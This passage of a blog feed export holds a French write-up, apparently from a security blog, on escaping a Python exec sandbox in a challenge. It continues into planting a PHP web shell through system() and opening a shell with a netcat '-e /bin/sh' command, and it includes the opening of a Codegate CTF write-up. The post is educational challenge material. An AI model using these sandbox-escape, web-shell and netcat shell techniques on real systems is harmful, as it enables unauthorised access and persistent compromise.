&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: grey; font-style: italic;&quot;&gt;# Lis l entree utilisateur jusqu au premier caractere vide (espace):&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; inp&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;=&lt;/span&gt;&amp;nbsp;findall&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;&lt;span class=&quot;es0&quot; style=&quot;color: #000099; font-weight: bold;&quot;&gt;\S&lt;/span&gt;+&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw2&quot; style=&quot;color: green;&quot;&gt;raw_input&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: orangered;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; a&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw2&quot; style=&quot;color: green;&quot;&gt;None&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span style=&quot;color: grey; font-style: italic;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Attribue a la variable l output de l execution:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;exec&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;a=&#39;&lt;/span&gt;&amp;nbsp;+ inp&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;print&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;Return Value:&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&amp;nbsp;a&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;except&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw2&quot; style=&quot;color: green;&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&amp;nbsp;e:&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;print&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;Exception:&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&amp;nbsp;e&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
(Rappelons qu&#39;ici l&#39;objectif sera de lire un fichier nommé &quot;&lt;b&gt;FileToRead&lt;/b&gt;&quot; et placé dans le répertoire courant.)&lt;br /&gt;
&lt;br /&gt;
Tout d&#39;abord que voyons nous?&lt;br /&gt;
On remarque vite qu&#39;une fonction est appelée afin de nous empêcher d&#39;accéder à certains &lt;span style=&quot;color: blue;&quot;&gt;__builtins__()&lt;/span&gt; qui sont, pour rappel, des fonctions prédéfinies de Python.&lt;br /&gt;
&lt;br /&gt;
Dommage, pas de &lt;span style=&quot;color: blue;&quot;&gt;eval()&lt;/span&gt;, pas de possibilité d&#39;appeler&lt;span style=&quot;color: blue;&quot;&gt; __import__()&lt;/span&gt; ni&lt;span style=&quot;color: blue;&quot;&gt; open()&lt;/span&gt; enfin bref que du bonheur !&lt;br /&gt;
A présent j&#39;ai deux approche en tête mais ne vais me consacrer qu&#39;à une qui m&#39;a particulièrement plûe et que je vais donc dérouler à présent.&lt;br /&gt;
&lt;br /&gt;
ne pouvant me reposer sur mes &lt;span style=&quot;color: blue;&quot;&gt;__builtins__()&lt;/span&gt; préférés, je vais commencer par rapidement faire une évaluation des possibilités qui s&#39;offrent tout de même à moi et après quelques tests (certains visible dans le screenshot suivant) me voila arrivé à ceci:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL5vy31oOJiUm93qKf-aJeVu3NaddGw9_pdmulYfD6SBcRDW7tmzxFYNr-YEC4_7tAfPp1Ma7yOpv2tsxeTly8iZyhfxMnm7bkgJh07qlnxBjDEGFAj409G225bW59ZyJz2LW0Jae_tIF0/s1600/escape_1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL5vy31oOJiUm93qKf-aJeVu3NaddGw9_pdmulYfD6SBcRDW7tmzxFYNr-YEC4_7tAfPp1Ma7yOpv2tsxeTly8iZyhfxMnm7bkgJh07qlnxBjDEGFAj409G225bW59ZyJz2LW0Jae_tIF0/s1600/escape_1.png&quot; height=&quot;201&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Bon, ici que voyons-nous concrètement?&lt;br /&gt;
Et bien pas mal de choses intéressantes comme surtout l&#39;appel aux sous-classes qui est possible (pourquoi ne le serait-il pas??) et bien sûr le builtin &lt;span style=&quot;color: blue;&quot;&gt;dir() &lt;/span&gt;qui nous retourne une liste complète des attributs disponibles!&lt;br /&gt;
&lt;br /&gt;
Dans ce cas cherchons donc si quelque chose existe et se trouve disponible pour arriver à sortir de cette sandbox et aller lire notre fichier comme nous le ferions avec le builtin&lt;span style=&quot;color: blue;&quot;&gt; file()&lt;/span&gt; (ne pas confondre avec &lt;span style=&quot;color: blue;&quot;&gt;__file__&lt;/span&gt;).&lt;br /&gt;
&lt;br /&gt;
Oui mais alors comment faire? Simple! Allons &lt;a href=&quot;https://docs.python.org/2/library/stdtypes.html#special-attributes&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt; lire la doc Python afin d&#39;avoir quelques précisions et idées !&lt;br /&gt;
&lt;br /&gt;
L&#39;attribut &quot;bases&quot; peux nous aider, en effet, ce dernier retourne les classes de base d&#39;un objet de classe (sous classe), testons et creusons:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf84rirPIjI91jtiOK5aIl7HMz4oXgOoMmT_qx5U3O0L7Dyd0Pee79at59iVWORK6qdgN7tuwUj9lIrvM6S_ZNaTzQX4OHCXaX6wx5x5HXn1PkuRe2-_36xyr8n3M_6_jBGUPGqnTjDJNp/s1600/escape_2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf84rirPIjI91jtiOK5aIl7HMz4oXgOoMmT_qx5U3O0L7Dyd0Pee79at59iVWORK6qdgN7tuwUj9lIrvM6S_ZNaTzQX4OHCXaX6wx5x5HXn1PkuRe2-_36xyr8n3M_6_jBGUPGqnTjDJNp/s1600/escape_2.png&quot; height=&quot;132&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;WOOT!!&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Bon la je sais pas vous mais moi en voyant ça j&#39;me dis que la sortie est proche réfléchissons et surtout continuons avec, en premier lieu, des tests en local sur l&#39;interpréteur Python d&#39;autant que nous voyons dans cette magnifique liste un certain &quot;type file&lt;span style=&quot;color: blue;&quot;&gt;&lt;type file=&quot;&quot;&gt;&lt;/type&gt;&lt;/span&gt;&quot; et ça mes amis ça vaut de l&#39;or !&lt;br /&gt;
&lt;br /&gt;
L&#39;idée sera alors de tester cette classe en utilisant son index.&lt;br /&gt;
Afin donc de ne pas le compter à la mano, utilisons bêtement une petite boucle et le tour sera alors joué:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie45-pYQYDhGboMfws_o-uqCnv2v7RXpLIUekhTx3UiB35bdWI6gk_MoSfViW_vC0nTfhTms9_lusqX_VD6i0q02UvdmOAoUndFZ9pzCBzb2F-FC_quchqv1Q9e2jCcd7iv0JTH4dmYMHq/s1600/escape_3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie45-pYQYDhGboMfws_o-uqCnv2v7RXpLIUekhTx3UiB35bdWI6gk_MoSfViW_vC0nTfhTms9_lusqX_VD6i0q02UvdmOAoUndFZ9pzCBzb2F-FC_quchqv1Q9e2jCcd7iv0JTH4dmYMHq/s1600/escape_3.png&quot; height=&quot;288&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ok... à présent nous avons: la classe et son index donc testons notre idée en local et si cette dernière fonctionne, sur notre sandbox afin d&#39;aller jouer hors du bac à sable:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxlgLk0FyybaoFRjjBur6AoF8Sigr_WU-ot64FmJmEn_3UfT6G4iglRzZRmV7ABzz6bsi1_xLPhsEBG3gnJubslHzSRAQ0uKtfsmz_N0pNAXTvQa67OHgK2g72i2beKLUUqMoNAuu491mu/s1600/escape_4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxlgLk0FyybaoFRjjBur6AoF8Sigr_WU-ot64FmJmEn_3UfT6G4iglRzZRmV7ABzz6bsi1_xLPhsEBG3gnJubslHzSRAQ0uKtfsmz_N0pNAXTvQa67OHgK2g72i2beKLUUqMoNAuu491mu/s1600/escape_4.png&quot; height=&quot;45&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Et bien, qu&#39;est-ce que je disais!?&lt;br /&gt;
La sortie semble toute proche et l&#39;heure de vérité a sonné: libérons nous de nos chaînes !!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyrp8Pc4xosryqBi_PHNyaR4dLHtoCtWdwxAxAy6ssfPifHR9UBcnzDnHpIushoX5LFWyjb7OlZzA8z5zHIjqKhTacwdDKhZklLoBk67TqwLqh8iV7cVrKPs6Bi4UQa6hJFiYSl2F8Qthf/s1600/escape_final.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyrp8Pc4xosryqBi_PHNyaR4dLHtoCtWdwxAxAy6ssfPifHR9UBcnzDnHpIushoX5LFWyjb7OlZzA8z5zHIjqKhTacwdDKhZklLoBk67TqwLqh8iV7cVrKPs6Bi4UQa6hJFiYSl2F8Qthf/s1600/escape_final.png&quot; height=&quot;358&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;Pour aller plus loin&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
A partir d&#39;ici nous ne sommes plus gêné et sortons de la sandbox alors il serait temps de, par exemple, s&#39;octroyer un petit shell qu&#39;en dites vous ?&lt;br /&gt;
&lt;br /&gt;
(on peux aussi modifier des configurations réseau ou autre, cela dépendra de votre imagination, de vos compétences, de vos objectifs mais surtout des permissions)&lt;br /&gt;
&lt;br /&gt;
J&#39;illustrerais cela avec la compromission du système via son site web avec obtention d&#39;un web shell puis d&#39;un reverse shell via &lt;b&gt;NC&lt;/b&gt; (si un &lt;b&gt;IPTABLES&lt;/b&gt; était présent j&#39;aurais tout aussi bien pût mettre en pratique mon firewall bypassing et maintenir un accès furtif persistant via l&#39;option &lt;span style=&quot;color: blue;&quot;&gt;-9&lt;/span&gt; ou &lt;span style=&quot;color: blue;&quot;&gt;--listen-signature&lt;/span&gt; sous &lt;b&gt;HPING3&lt;/b&gt;).&lt;br /&gt;
&lt;br /&gt;
Ici mon idée sera simple: injecter du code php dans la page d&#39;index &lt;span style=&quot;color: blue;&quot;&gt;index.php&lt;/span&gt; avec un paramètre passé en &lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;GET&lt;/b&gt;&lt;/span&gt; puis transmis à &lt;span style=&quot;color: blue;&quot;&gt;system()&lt;/span&gt; pour &amp;nbsp;obtenir mon web shell:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaiJrOuj1DEiOFtAEezozE9uqAcd5U-tofxtbOzq47HuN8Pe4MdpfSDpVRdAzNBPEiZb3AJv_MWEAtk05koNxQPLzYJyD8wFMwvdnfPgCYowwXGePlYj1gQxdHlpDa5DWWYbgDphHhdeks/s1600/espaces.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaiJrOuj1DEiOFtAEezozE9uqAcd5U-tofxtbOzq47HuN8Pe4MdpfSDpVRdAzNBPEiZb3AJv_MWEAtk05koNxQPLzYJyD8wFMwvdnfPgCYowwXGePlYj1gQxdHlpDa5DWWYbgDphHhdeks/s1600/espaces.png&quot; height=&quot;65&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Bon il est évident que nous avons un léger soucis avec les espaces, qu&#39;à cela ne tienne, utilisons autre chose:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj128JEmRFThuubHhLL33dNbO-4F8C8TCEZ7UAWGg5fMgZwpXjTw2ghOx0adu4br3zU5MZOucvnfOMDuzyLJnfgd6tqudfqXAGzu9pDIJKaGMymeVB06NNPgXa-XAm2sKauGwz64-EGm_Bc/s1600/sans_espaces.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj128JEmRFThuubHhLL33dNbO-4F8C8TCEZ7UAWGg5fMgZwpXjTw2ghOx0adu4br3zU5MZOucvnfOMDuzyLJnfgd6tqudfqXAGzu9pDIJKaGMymeVB06NNPgXa-XAm2sKauGwz64-EGm_Bc/s1600/sans_espaces.png&quot; height=&quot;111&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Okay il semble que cette fois-ci notre code malicieux ait bien été injecté dans la page souhaitée testons et par la même voyons si notre reverse shell peux être mis en place!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3lGECEwAqn5b6Gp-tOUnQo23150m4ydK-GmM7BlpEbc1XohnFErqQtTQKILOQ_e4S8WIGz-qyapap01nk99w6RY0IsakIil2uWjx89dUGY6-_wQ_nlGL7s4XeO4HRaJDEJEjpKEIR9436/s1600/webshell.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3lGECEwAqn5b6Gp-tOUnQo23150m4ydK-GmM7BlpEbc1XohnFErqQtTQKILOQ_e4S8WIGz-qyapap01nk99w6RY0IsakIil2uWjx89dUGY6-_wQ_nlGL7s4XeO4HRaJDEJEjpKEIR9436/s1600/webshell.png&quot; height=&quot;171&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Magnifique!!&lt;/div&gt;
&lt;div&gt;
A présent voyons si notre &lt;span style=&quot;color: blue;&quot;&gt;nc -nvv -l -p 31337 -e /bin/sh &lt;/span&gt;fonctionne:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE4e4r2WbuBGuxpn3VVFJGKRZUAZ79kQWdHHvBu3EpJPIUX7zwo-aKxoXZAfCxEUILOOsnAbmPjhjLy-n_FSq1wpzk4CHW22r4K3utZVNDe4yJ6wjL0FwH7hwq7rFBIaIMdqJs26QpDhTD/s1600/reverse_shell.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE4e4r2WbuBGuxpn3VVFJGKRZUAZ79kQWdHHvBu3EpJPIUX7zwo-aKxoXZAfCxEUILOOsnAbmPjhjLy-n_FSq1wpzk4CHW22r4K3utZVNDe4yJ6wjL0FwH7hwq7rFBIaIMdqJs26QpDhTD/s1600/reverse_shell.png&quot; height=&quot;90&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Et voilà !! &amp;nbsp;Mission accomplie avec succès: &quot;from sandbox to reverse shell&quot; , bien sûr tout &amp;nbsp;cela peut encore être amélioré (FW bypass, priv-esc ..) mais ce n&#39;est pas le sujet ici.&lt;br /&gt;
&lt;br /&gt;
Vous avez donc bien plus ici qu&#39;un simple write-up tel qu&#39;on en trouve concernant ce type de challenge sur le net avec, je l&#39;espère, une meilleure visibilité sur l&#39;impact que peux avoir une évasion de sandbox mais aussi comment concrètement cela se passe!&lt;br /&gt;
Nos seules limites? Nos compétences et notre imagination...comme toujours...&lt;br /&gt;
&lt;br /&gt;
Liens utiles et qui m&#39;ont énormément appris:&lt;br /&gt;
&lt;a href=&quot;http://zolmeister.com/2013/05/escaping-python-sandbox.html&quot;&gt;http://zolmeister.com/2013/05/escaping-python-sandbox.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/&quot;&gt;https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html&quot;&gt;http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
A bientôt pour de nouvelles aventures et ... sortez couvert !! :D</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/1218240267333569703/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/1218240267333569703' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1218240267333569703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1218240267333569703'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2014/11/python-sandbox-escape-sortez-du-bac.html' title='Python sandbox escape: sortez du bac à sable !'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmdkQfaM56XCmQl6Vly1kS3nEu5WaqxgsxYOV7RKAcHwIfUeRtak92QdJob-BIT9lbgxhXxHntFQ5R1fdvyP15RSQV2_hkVFLpmuSE-VQZsV6AWNOVRHw46MeZs3Kg4Ich5aFBbvKnOJyb/s72-c/cuckoo_escape.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-1358955979738365724</id><published>2014-02-24T19:56:00.000+01:00</published><updated>2014-02-24T19:56:14.440+01:00</updated><title type='text'>[Write Up] 120 (Codegate web 500)</title><content type='html'>Salut !&lt;br /&gt;
Alors oui, le week end dernier avait lieu les quals pour le codegate et comme chaque années nos amis Coréens nous ont réalisé un festival de challs avec un level plutôt appréciable loiiiiin du monde de l&#39;entreprise ET C&#39;EST TANT MIEUX!! :p&lt;br /&gt;
&lt;br /&gt;
Ainsi je me lance dans le write up d&#39;un challenge web super simpa et trés technique qui m&#39;a beaucoup plus: &lt;b&gt;120, le web 500!&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
1-&lt;u&gt;Présentation&lt;/u&gt;:&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Le challenge vous donnait un link&lt;b&gt;&amp;nbsp;http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php&lt;/b&gt; sur lequel se trouvait juste un champ password et un joli texte indiquant &quot;&lt;b&gt;Time Left 120&lt;/b&gt;&quot;.&lt;br /&gt;
&lt;br /&gt;
Vous aurez bien compris que le password n&#39;étant pas fourni ... no comment.&lt;br /&gt;
A coté de ça, une fois n&#39;est pas coutume nous avions accès au code source et honnêtement tant mieux ! lol&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
(je vous paste ça sur pastebin avec un lien &lt;a href=&quot;http://pastebin.com/A4vmrpZv&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt;&amp;nbsp;au cas ou..)&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;session_start&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
